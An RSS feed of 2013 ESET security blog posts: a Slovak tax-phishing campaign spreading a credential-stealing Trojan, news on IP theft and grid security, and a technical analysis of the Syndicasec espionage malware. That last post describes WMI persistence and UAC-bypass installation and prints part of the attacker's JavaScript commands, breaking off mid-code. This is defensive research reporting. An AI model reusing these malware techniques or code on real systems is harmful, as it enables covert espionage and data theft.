<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>We Live Security</title>
	
	<link>http://www.welivesecurity.com</link>
	<description>News, Views, and Insight from the ESET Security Community</description>
	<lastBuildDate>Fri, 24 May 2013 16:29:27 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/eset/blog" /><feedburner:info uri="eset/blog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>eset/blog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Tax Returns: Slovakian spyware campaign</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/Sesap8Zlf8Y/</link>
		<comments>http://www.welivesecurity.com/2013/05/24/tax-returns-slovakian-spyware-campaign/#comments</comments>
		<pubDate>Fri, 24 May 2013 12:08:10 +0000</pubDate>
		<dc:creator>Robert Lipovsky</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[banking]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[taxes]]></category>
		<category><![CDATA[Trojan]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/24/tax-returns-slovakian-spyware-campaign/</guid>
		<description><![CDATA[<p>ESET’s Security Research Lab details a malware-spreading campaign leveraging the deadline for tax returns in Slovakia and examines a case of infection where a bank's two-factor authentication prevented financial loss.</p><p>The post <a href="http://www.welivesecurity.com/2013/05/24/tax-returns-slovakian-spyware-campaign/">Tax Returns: Slovakian spyware campaign</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>ESET’s Security Research Lab has been monitoring a malware-spreading campaign based around the March deadline for tax returns in Slovakia. Whilst this was mostly a local attack, the case demonstrates how effective and dangerous such social engineering attacks can be in general when <a href="http://www.welivesecurity.com/2013/04/17/win32kelihos-botnet-keeps-on-phishing-now-exploiting-boston-bombing/">trending topics</a>, or other <a href="http://www.welivesecurity.com/2011/08/03/win32delf-qcztrust-me-im-your-anti-virus/">credibility-adding-tricks</a>, are used.</p>
<h1>The Spreading Campaigns</h1>
<p align="left">The attack vector in the two campaigns that we discovered were e-mails purporting to be from the Slovak Tax Office (equivalent to the Internal Revenue Service in the US, or the UK’s HM Revenue and Customs). Screenshots of the HTML-formatted e-mails used are shown below.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0011.jpg"><img class="aligncenter  wp-image-21640" style="border: 1px solid black;" title="image001" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0011.jpg" alt="" width="658" height="614" /></a></p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0031.jpg"><img class="aligncenter  wp-image-21642" style="border: 1px solid black;" title="image003" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0031.jpg" alt="" width="558" height="801" /></a></p>
<p>The translated subject of the emails read: <em>Notification of real estate tax changes</em> and the text, written in proper Slovak, states that payment instructions are to be found in the included attachment. It is interesting to note that this social engineering approach was made more credible by the fact that each taxable entity in the Slovak Republic must use a unique bank account for tax payment. The attacker was not just fluent in Slovak but also well-enough acquainted with local tax legislation to devise such a believable scam.</p>
<p>The attacker modified the delivery method slightly in between the two spam campaigns, but the malware served up in the campaign remained the same.</p>
<p>The first wave of emails offered the “attachments” as download links (on a popular file-sharing service) to one of two files, each in a different format: an RTF file that masqueraded as a Microsoft Word document or an executable file. The RTF file contained an exploitation of <a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3333">CVE-2010-3333</a> which, if successful, also delivered the malicious executable. The good news was that, according to the file-sharing download statistics, the success rate of the exploit downloading the malware was less than 10%. Unfortunately, many people still opted to download the executable directly from the second (backup) link in the email, perhaps after seeing a garbled-looking document.</p>
<p>The second campaign was more straightforward and, according to download statistics, more successful. The hypertext link in the email pointed to an executable file (with a .SCR extension), without explicitly mentioning the file format.</p>
<h1>The Malware</h1>
<p>The malware used in these attacks was an ordinary credentials-stealing Trojan, which was already detected prior to these campaigns. ESET’s software detects it as <a href="http://www.virusradar.com/en/Win32_Sazoora.A/description">Win32/Sazoora.A</a>.</p>
<p>Win32/Sazoora.A is designed to steal a victim&#8217;s logon credentials from web browsers. Specifically, the Trojan contains libraries for injecting into Internet Explorer, Mozilla Firefox or Google Chrome. Win32/Sazoora implements several data-stealing techniques:</p>
<ul>
<li>Intercept any information entered into HTML forms in the aforementioned browsers</li>
<li>Extract stored credentials from the browsers</li>
<li>Inject fraudulent HTML code into webpages in order to steal credit-card related data</li>
</ul>
<p>The stolen data is then periodically sent to a remote server (the URLs of which are hard-coded in the binary). The following screenshots show the HTML web-injects used to lure the victim into entering his credit-card credentials.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0051.png"><img class="aligncenter  wp-image-21644" style="border: 1px solid black;" title="image005" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0051.png" alt="" width="670" height="406" /></a></p>
<p style="text-align: center;"><img class="aligncenter  wp-image-21653" style="border: 1px solid black;" title="image007" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0073.png" alt="" width="415" height="626" /></p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0092.png"><img class="aligncenter  wp-image-21651" style="border: 1px solid black;" title="image009" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0092.png" alt="" width="670" height="658" /></a></p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0112.png"><img class="aligncenter  wp-image-21656" style="border: 1px solid black;" title="image011" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0112.png" alt="" width="682" height="807" /></a></p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0121.png"><img class="aligncenter  wp-image-21657" style="border: 1px solid black;" title="image012" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0121.png" alt="" width="678" height="858" /></a></p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0132.png"><img class="aligncenter  wp-image-21659" style="border: 1px solid black;" title="image013" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/image0132.png" alt="" width="681" height="763" /></a></p>
<p>The last screenshot – of a payment form for Microsoft Windows Updates – is particularly interesting. Note that none of the above mentioned techniques are novel at all, and are commonly used by banking Trojans such as the infamous <a href="http://www.welivesecurity.com/search/?s=zeus&amp;x=0&amp;y=0">Zeus</a> and <a href="http://www.welivesecurity.com/search/?s=SpyEye&amp;x=0&amp;y=0">SpyEye</a> families. But unlike those families, Win32/Sazoora.A features configuration options that are less dynamic as regards both the Command &amp; Control server addresses and the web-inject HTML hard-coded in the analyzed binary.</p>
<p>ESET LiveGrid® detection rates for Win32/Sazoora indicate that the Trojan was mostly seen in Slovakia (over 60% of all detections), undoubtedly as a result of these campaigns. The country with the second highest number of detections is Switzerland, but it is important to note that Sazoora is a generic information stealing Trojan, not customized in the Slovak attacks in any way, except for the C&amp;C server address, so the Swiss detections may just indicate that the actual author of the malware has sold it to multiple clients.</p>
<h1>The Victims</h1>
<p>Our telemetry indicates that many of the targets successfully infected through malware-spreading emails weren’t accidental or purely random. The emails were mass distributed using a generic list of hopefully-Slovak e-mail addresses. And as it turned out, some of the victims identified so far include physicians, accountants and several institutions. These were considerably more likely to click on the links, as the content of the e-mail was relevant to their profession (and also the upcoming tax deadlines made it even more likely for them to check the content).</p>
<p>We have also performed a detailed analysis of one victim’s infected computer at their request after they noticed suspicious activity relating to their bank account. It turned out that they received one of the aforementioned emails, were infected by Win32/Sazoora.A and had their online banking credentials stolen. The most interesting thing about this infection, however, was the fact that the attacker was prevented from stealing any money from the victim’s account by the bank account’s grid-card protection, a kind of <a href="https://en.wikipedia.org/wiki/Multi-factor_authentication#One-time_pads">multifactor authentication</a>. The attacker then sent the victim a phishing email passed off as some kind of client verification by the bank, in which they asked for a specified code from the grid-card. The victim was not fooled by this attempt.</p>
<p>Other victims may not have been so fortunate. This case again confirms the necessity for employee education with regard to phishing (and information security in general), especially when the employees handle sensitive corporate or customer data.</p>
<p><em>Kudos to Peter Ko</em><em>šinár, David Gabriš and Miro Babiš for their work on the case.</em></p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/24/tax-returns-slovakian-spyware-campaign/">Tax Returns: Slovakian spyware campaign</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/Sesap8Zlf8Y" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/24/tax-returns-slovakian-spyware-campaign/</feedburner:origLink></item>
		<item>
		<title>“Stronger action” urged in face of IP theft from American companies</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/Jgwqfgruq3o/</link>
		<comments>http://www.welivesecurity.com/2013/05/24/american-companies-face-unprecedented-onslaught-of-data-theft/#comments</comments>
		<pubDate>Fri, 24 May 2013 10:08:54 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/24/american-companies-face-unprecedented-onslaught-of-data-theft/</guid>
		<description><![CDATA[<p>American companies are facing an “unprecedented” onslaught of data theft, costing “hundreds of billions”, according to a report by a private group headed by high-ranking ex-government officials. </p><p>The post <a href="http://www.welivesecurity.com/2013/05/24/american-companies-face-unprecedented-onslaught-of-data-theft/">&#8220;Stronger action&#8221; urged in face of IP theft from American companies</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>American companies are facing an “unprecedented” onslaught of data theft, costing “hundreds of billions”, according to a report by a private group headed by high-ranking ex-government officials. The report recommends a number of countermeasures, including a suggestion that companies could use electronic means to recover stolen IP.</p>
<p>The Commission on the Theft of American Intellectual Property includes former government officials such as Dennis Blair, the former U.S. Director of National Intelligence.</p>
<p>&#8220;The scale of international theft of American intellectual property (IP) is unprecedented &#8211; hundreds of billions of dollars per year, on the order of the size of US exports to Asia,&#8221; the<a title="http://www.ipcommission.org/report/IP_Commission_Report_052213.pdf" href="http://www.ipcommission.org/report/IP_Commission_Report_052213.pdf" target="_blank"> report said</a>.  “The Commission judges that the scope of the problem requires stronger action, involving swifter and more stringent penalties for IP theft.”</p>
<p>The report recommended that the U.S. should, “Support American companies and technology that can both identify and recover IP stolen through cyber means. Without damaging the intruder’s own network, companies that experience cyber theft ought to be able to retrieve their electronic files or prevent the exploitation of their stolen information.”</p>
<p>The report described China as &#8220;the world&#8217;s largest source of IP theft&#8221;. &#8220;National industrial policy goals in China encourage IP theft, and an extraordinary number of Chinese in business and government entities are engaged in this practice,&#8221; the report said.</p>
<p>The post <a href="http://www.welivesecurity.com/2013/05/24/american-companies-face-unprecedented-onslaught-of-data-theft/">&#8220;Stronger action&#8221; urged in face of IP theft from American companies</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/Jgwqfgruq3o" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/24/american-companies-face-unprecedented-onslaught-of-data-theft/</feedburner:origLink></item>
		<item>
		<title>Electrical grids “woefully prepared” for cyber attacks, warns analyst</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/h1Vm8dd_5pM/</link>
		<comments>http://www.welivesecurity.com/2013/05/24/electrical-grid-woefully-prepared-for-cyber-attacks-warns-analyst/#comments</comments>
		<pubDate>Fri, 24 May 2013 04:59:29 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Cybercrime]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Cybersecurity]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/24/electrical-grid-woefully-prepared-for-cyber-attacks-warns-analyst/</guid>
		<description><![CDATA[<p>Electrical grids worldwide have become more susceptible to cyber attacks, due to the use of industrial control systems, according to market analysts ABI Research. </p><p>The post <a href="http://www.welivesecurity.com/2013/05/24/electrical-grid-woefully-prepared-for-cyber-attacks-warns-analyst/">Electrical grids &#8220;woefully prepared&#8221; for cyber attacks, warns analyst</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p id="docs-internal-guid-28b9df16-d4e6-071f-b478-3ee2bbd1121a" dir="ltr">Electrical grids worldwide have become more susceptible to cyber attacks due to the use of industrial control systems, according to market analysts ABI Research.</p>
<p>Spending on cybersecurity to protect infrastructure will total $2.9 billion by the end of 2013, the analyst claims.</p>
<p dir="ltr">“The restructuring of the power sector and the emergence of the smart grid has largely ignored the issue of cyber security,” <a title="http://www.abiresearch.com/press/electrical-grid-woefully-prepared-for-cyber-securi" href="http://www.abiresearch.com/press/electrical-grid-woefully-prepared-for-cyber-securi" target="_blank">ABI Research </a>claims in a report this week, which described electrical firms as &#8220;woefully&#8221; prepared for attacks. “Industrial control systems have poor methods of authentication, little encryption, and are not often capable of detecting intrusions. By failing to address cyber security, and focusing on the cost-savings and gained efficiencies of a market-oriented model, the susceptibility to cyber attacks has grown.”</p>
<p>This week the Wall Street Journal reported that <a title="http://online.wsj.com/article/SB10001424127887323336104578501601108021968.html" href="http://online.wsj.com/article/SB10001424127887323336104578501601108021968.html" target="_blank">hackers had penetrated systems belonging to energy companies</a> in the U.S. Quoting unnamed sources, the WSJ claims that Iranian hackers proceeded &#8220;far enough to worry people.&#8221;</p>
<p dir="ltr">“Cyber-attacks that can cause serious damage to electrical grids are a reality. Operators need to view cyber security as a core, integrated requirement of their offering and not as a secondary add-on,” says Michela Menting, ABI Research’s senior analyst for cyber security.</p>
<p>Menting says that government efforts to tackle vulnerabilities are raising awareness of the issue, and that companies such as Alliander, Enel, and E.On Nordic have already “made significant efforts at implementing a cybersecurity culture”.</p>
<p>A Congressional survey of electrical utilities this week found that companies faced up to 10,000 attacks per month. Out of 53 companies surveyed, more than a dozen described attacks on their systems as “daily” or “constant”. One company complained of being under a “constant state of ‘attack’ from malware and entities seeking to gain access to internal systems.”</p>
<p dir="ltr">This April, <a title="http://www.welivesecurity.com/2013/04/09/warning-over-too-much-information-after-electricity-companies-targeted-with-clever-spear-phishing-campaign/" href="http://www.welivesecurity.com/2013/04/09/warning-over-too-much-information-after-electricity-companies-targeted-with-clever-spear-phishing-campaign/" target="_blank">a spear-phishing attack</a> which targeted an American electrical company was documented in this month’s Monitor report from the Department of Homeland Security’s<a href="http://ics-cert.us-cert.gov/ics-cert/archive.html"> Industrial Control Systems Cyber Emergency Response Team</a> (ICS-CERT).</p>
<p dir="ltr">
<p>The post <a href="http://www.welivesecurity.com/2013/05/24/electrical-grid-woefully-prepared-for-cyber-attacks-warns-analyst/">Electrical grids &#8220;woefully prepared&#8221; for cyber attacks, warns analyst</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p><img src="http://feeds.feedburner.com/~r/eset/blog/~4/h1Vm8dd_5pM" height="1" width="1"/>]]></content:encoded>
			<feedburner:origLink>http://www.welivesecurity.com/2013/05/24/electrical-grid-woefully-prepared-for-cyber-attacks-warns-analyst/</feedburner:origLink></item>
		<item>
		<title>Syndicasec in the Sin Bin: targeted espionage malware in action</title>
		<link>http://feedproxy.google.com/~r/eset/blog/~3/uVS7RkNLzgc/</link>
		<comments>http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/#comments</comments>
		<pubDate>Thu, 23 May 2013 10:02:23 +0000</pubDate>
		<dc:creator>Alexis Dorais-Joncas</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[espionage]]></category>
		<category><![CDATA[Tibet]]></category>

		<guid isPermaLink="false">http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/</guid>
		<description><![CDATA[<p>Technical analysis of Win32/Syndicasec.A, malware active in Nepal and China as far back as 2010, with a JavaScript payload registered in the Windows WMI subsystem and a system of fake blogs to discover its C&#038;C servers, hosted on Tibet-related domains.</p><p>The post <a href="http://www.welivesecurity.com/2013/05/23/syndicasec-in-the-sin-bin/">Syndicasec in the Sin Bin: targeted espionage malware in action</a> appeared first on <a href="http://www.welivesecurity.com">We Live Security</a>.</p>]]></description>
			<content:encoded><![CDATA[<p>Malware researchers receive so many malicious code samples every day that prioritization for deep examination becomes an important part of the analysis process. In some instances, it is easier to decide than others. Such is the case for a sample we recently came across here at ESET named <a href="http://www.virusradar.com/en/Win32_Syndicasec.A/description">Win32/Syndicasec.A</a>, for which the decision was pretty easy, for a variety of reasons:</p>
<ul>
<li>Our telemetry systems show that the infection scale is extremely small and strictly limited to Nepal and China. Previous versions of this threat were identified dating back to 2010.</li>
<li>The main payload is a piece of Javascript code registered in the Windows WMI subsystem, an unusual technique.</li>
<li>The threat uses fake blogs to discover its C&amp;C servers, which are hosted on Tibet-related domains.</li>
<li>The commands sent to our test machine infected for the purpose of this investigation were sent manually by the attacker and consisted in collecting information from the filesystem and the registry.</li>
<li>The characteristics of this operation are very similar to previous campaigns of espionage against Tibetan activists such as <a href="http://www.welivesecurity.com/search/?s=lamadai+payload&amp;x=0&amp;y=0" target="_blank">OS X Lamadai</a> and <a href="http://labs.alienvault.com/labs/index.php/2012/alienvault-research-used-as-lure-in-targeted-attacks/" target="_blank">others</a>. <strong><strong></strong></strong></li>
</ul>
<p>Read on to learn the details about the installation and persistence mechanisms used by this malware and its native capabilities and communication protocol. We will also present the bot behavior we observed during our analysis and conclude with some background research about the threat and the domains and IP addresses with which it is associated.</p>
<h2>Installation &amp; Persistence</h2>
<p>Win32/Syndicasec uses an exploit to get access to a target computer in the first instance. Our engine successfully stopped the exploitation attempt but was unable to capture the original exploit itself. Upon successful exploitation, a two-stage installation process begins.</p>
<p>The stage 1 dropper makes a few sanity checks on the system. It will look for the presence of <em>%SYSTEM32%\sysprep.exe</em>: if that is present, a cabinet archive (.cab) will be copied into the <em>%TEMP%</em> folder and its content (a single library) will be installed to <em>%SYSTEM32%\cryptbase.dll</em> using the standard Windows Update Standalone installer (<em>wusa.exe</em>):</p>
<p><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-15.png"><img class="aligncenter size-full wp-image-21590" title="syndicasec012 (15)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-15.png" alt="" width="858" height="100" /></a></p>
<p>The Cabinet file is stored unobfuscated inside the dropper. Only the Cabinet file header is missing: this is dynamically corrected in memory prior to writing the file on disk.</p>
<p>The dropper then attempts to exploit a vulnerability in Microsoft’s User Account Control (UAC) whitelisting process to run arbitrary commands with elevated privileges. This topic is well <a href="http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" target="_blank">described by Leo Davidson</a>.</p>
<p>Inspecting the cryptbase.dll file reveals that it is a compiled version of <a href="http://www.pretentiousname.com/misc/W7E_Source/dllmain.cpp.html" target="_blank">Leo&#8217;s proof-of-concept code</a>, right down to the exact return value of <em>DllMain()</em>, which is -69.</p>
<p>This technique is one of the privilege escalation techniques used by <a href="http://www.welivesecurity.com/2013/05/01/mysterious-avatar-rootkit-with-api-sdk-and-yahoo-groups-for-cc-communication/">Win32/Rootkit.Avatar</a>, an advanced rootkit analyzed recently by our colleagues Anton Cherepanov and Aleksandr Matrosov.</p>
<p>Inside the library, we can see a path related to the compilation project. We were not able to find any meaning to the &#8220;<em>psm2</em>&#8221; project name.</p>
<p><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-16.png"><img class="aligncenter size-full wp-image-21591" title="syndicasec012 (16)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-16.png" alt="" width="801" height="43" /></a></p>
<p>Once this step has been performed, the second stage dropper is stored on disk as <em>%TEMP%\gupdate.exe</em>. If <em>sysprep.exe</em> is present on the system, the file is launched by a call to <em>sysprep.exe</em>, leveraging the UAC whitelist vulnerability previously explained. Otherwise, <em>gupdate.exe</em> is simply executed by a call to <em>cmd.exe</em>.</p>
<p><em>Gupdate.exe</em> is in charge of installing the real payload on the system. The technique used is one we rarely see in the wild and is based on the WMI subsystem that was well documented by Julius Dizon, <em>et al</em> of Trend Micro, in their excellent technical <a href="http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp__understanding-wmi-malware.pdf" target="_blank">whitepaper available here</a>. This same technique was also seen <a href="(https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/wbemexec.rb" target="_blank">used by Stuxnet</a>.</p>
<p>This technique has the excellent property (from the attacker’s point of view) of not requiring any malicious code to be stored as a regular file on disk. This causes standard dynamic analysis tools such as Process Monitor to fail to clearly highlight the malicious activity.</p>
<p>Here is how the final payload is persistently installed on a victim&#8217;s system. First, a piece of JavaScript is decrypted by <em>gupdate.exe</em> using a simple XOR operation:</p>
<p><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-18.png"><img class="aligncenter size-full wp-image-21593" title="syndicasec012 (18)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-18.png" alt="" width="620" height="298" /></a></p>
<p id="docs-internal-guid-721fe21e-b36b-da88-d094-6ea8c8eaab84" dir="ltr">Then, the proper WMI classes are created.</p>
<p dir="ltr">1. __TimerInstruction</p>
<p>Win32/Syndicasec creates a <em>__TimerInstruction</em> to raise a custom event named &#8220;<em>ProbeScriptInit</em>&#8221; every 60,000 milliseconds.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-19.png"><img class="aligncenter  wp-image-21594" title="syndicasec012 (19)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-19.png" alt="" width="668" height="305" /></a></p>
<p>2. __EventFilter</p>
<p>The <em>__EventFilter</em> class is responsible for linking the custom timer to the malicious code contained in the <em>__EventConsume</em>r element described below.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-20.png"><img class="aligncenter  wp-image-21595" title="syndicasec012 (20)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-20.png" alt="" width="734" height="313" /></a></p>
<p>3. __EventConsumer</p>
<p>This class contains the malicious code to be executed every time the <em>__TimerInstruction</em> raises an event.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-21.png"><img class="aligncenter  wp-image-21596" title="syndicasec012 (21)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-21.png" alt="" width="734" height="311" /></a></p>
<p>These objects are permanently registered in the <em>root\subscription</em> namespace, thus ensuring stealth and persistence.</p>
<h2>Malware capabilities &amp; network communication</h2>
<p>Let&#8217;s have a look now at the malicious script contained in the <em>__EventConsumer</em> object. The code is straightforward to analyze and almost self-documenting once properly formatted.</p>
<p>First, one of the hardcoded URLs is randomly chosen and contacted via a standard HTTP GET.  We&#8217;ll call these the Stage One URLs. All the hardcoded URLs lead to a RSS feed for a fake blog seen here:</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-2.png"><img class="aligncenter  wp-image-21598" title="syndicasec012 (2)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-2.png" alt="" width="632" height="293" /></a></p>
<p>The key element in this RSS feed is the <em>&lt;title&gt;</em> tag, which contains an encrypted string inside two &#8216;@&#8217; delimiters.</p>
<p>The script code shows which decoding routine is used to decrypt this string:</p>
<p><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-4.png"><img class="aligncenter size-full wp-image-21600" title="syndicasec012 (4)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-4.png" alt="" width="423" height="222" /></a></p>
<p>The decrypted string reveals another URL, which we will call a Stage Two URL. These URLs provide the address of the C&amp;C and are used to retrieve commands and post results.</p>
<p>The initial communication sent to a Stage Two URL is an HTTP POST request containing some basic information about the infected machine. The response to this request is an HTML <em>div</em> element that may contain one or more commands.</p>
<p style="text-align: center;"><a href="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-5.png"><img class="aligncenter  wp-image-21601" title="syndicasec012 (5)" src="http://www.welivesecurity.com/wp-content/uploads/2013/05/syndicasec012-5.png" alt="" width="616" height="267" /></a></p>
<p>Static analysis shows that a populated command array consists of obfuscated Javascript that gets directly eval()&#8217;ed by the master script. There are no built-in functions in the master script, so at this point we cannot tell what this malware is being used for.</p>
<h2>Observed activity</h2>
<p>In parallel with analysis of the code, we started to monitor the behavior of a test machine that we infected with Win32/Syndicasec. The first few days of monitoring showed no activity whatsoever. We then started receiving commands from the C&amp;C. The interaction between the C&amp;C and the bot did not look to be automated at all. Every day would bring different commands sent at non-regular time intervals, making it look just as if someone was sitting behind a console and manually controlling infected hosts.</p>
<p>Here is an excerpt from one of the first sessions with the C&amp;C we observed. If you pay attention to the timestamps, the entire list of commands was spread over more than 30 minutes. Note that each command includes all the Javascript needed to execute the entrypoint function. We have included the entire code for only a few interesting calls for the sake of brevity.</p>
<p>Commands that have the same timestamp were received in the same command array.</p>
<table width="741" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="85">21:40:36</td>
<td valign="top" width="656"><strong>function</strong> getDataString<strong>(</strong>b<strong>)</strong> <strong>{</strong><strong>var</strong> a <strong>=</strong> <strong>[];</strong><strong>for</strong> <strong>(</strong><strong>var</strong> i <strong>=</strong> 0<strong>;</strong> i <strong>&lt;</strong> b<strong>.</strong>length<strong>;</strong> i<strong>++)</strong> <strong>{</strong>a<strong>.</strong>push<strong>(</strong>255 <strong>-</strong> b<strong>.</strong>charCodeAt<strong>(</strong>i<strong>))</strong><strong>}</strong><strong>var</strong> s <strong>=</strong> String<strong>.</strong>fromCharCode<strong>.</strong>apply<strong>(</strong>null<strong>,</strong> a<strong>);</strong><strong>var</strong> c <strong>=</strong> $<strong>.</strong>oShell<strong>.</strong>ExpandEnvironmentStrings<strong>(</strong>&#8220;%Temp%&#8221;<strong>)</strong> <strong>+</strong> &#8216;\\KB2761465-IE8.bin&#8217;<strong>;</strong>$<strong>.</strong>oStream<strong>.</strong>Mode <strong>=</strong> 3<strong>;</strong>$<strong>.</strong>oStream<strong>.</strong>Open<strong>();</strong>$<strong>.</strong>oStream<strong>.</strong>Type <strong>=</strong> 2<strong>;</strong>$<strong>.</strong>oStream<strong>.</strong>Charset <strong>=</strong> &#8216;iso8859-1&#8242;<strong>;</strong>$<strong>.</strong>oStream<strong>.</strong>WriteText<strong>(</strong>s<strong>);</strong>$<strong>.</strong>oStream<strong>.</strong>SaveToFile<strong>(</strong>c<strong>,</strong> 2<strong>);</strong>$<strong>.</strong>oStream<strong>.</strong>Close<strong>();</strong>$<strong>.</strong>oStream<strong>.</strong>Type <strong>=</strong> 1<strong>;</strong>$<strong>.</strong>oStream<strong>.</strong>Open<strong>();</strong>$<strong>.</strong>oStream<strong>.</strong>loadfromfile<strong>(</strong>c<strong>);</strong><strong>var</strong> d <strong>=</strong> $<strong>.</strong>oStream<strong>.</strong>Read<strong>();</strong>$<strong>.</strong>oStream<strong>.</strong>Close<strong>();</strong><strong>return</strong>d<strong>};</strong><strong>function</strong> EnumDisk<strong>()</strong> <strong>{</strong><strong>var</strong> e <strong>=</strong> GetObject<strong>(</strong>&#8220;winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2&#8243;<strong>);</strong>t <strong>=</strong> <strong>new</strong> Enumerator<strong>(</strong>e<strong>.</strong>ExecQuery<strong>(</strong>&#8220;select * from Win32_LogicalDisk&#8221;<strong>));</strong><strong>var</strong> s <strong>=</strong> &#8221;<strong>;</strong><strong>while</strong> <strong>(!</strong>t<strong>.</strong>atEnd<strong>())</strong> s <strong>+=</strong> &#8216;{&#8220;Name&#8221;:&#8221;&#8216; <strong>+</strong> t<strong>.</strong>item<strong>().</strong>Caption <strong>+</strong> &#8216;&#8221;,&#8221;DriveType&#8221;:&#8221;&#8216; <strong>+</strong> t<strong>.</strong>item<strong>().</strong>DriveType <strong>+</strong> &#8216;&#8221;},&#8217;<strong>,</strong> t<strong>.</strong>moveNext<strong>();</strong><strong>if</strong> <strong>(</strong>s<strong>.</strong>length <strong>&gt;</strong> 0<strong>)</strong> s <strong>=</strong> s<strong>.</strong>substr<strong>(</strong>0<strong>,</strong> s<strong>.</strong>length <strong>-</strong> 